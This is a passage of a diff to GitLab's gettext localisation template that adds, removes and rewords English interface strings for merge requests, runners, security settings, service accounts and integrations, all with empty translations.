+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
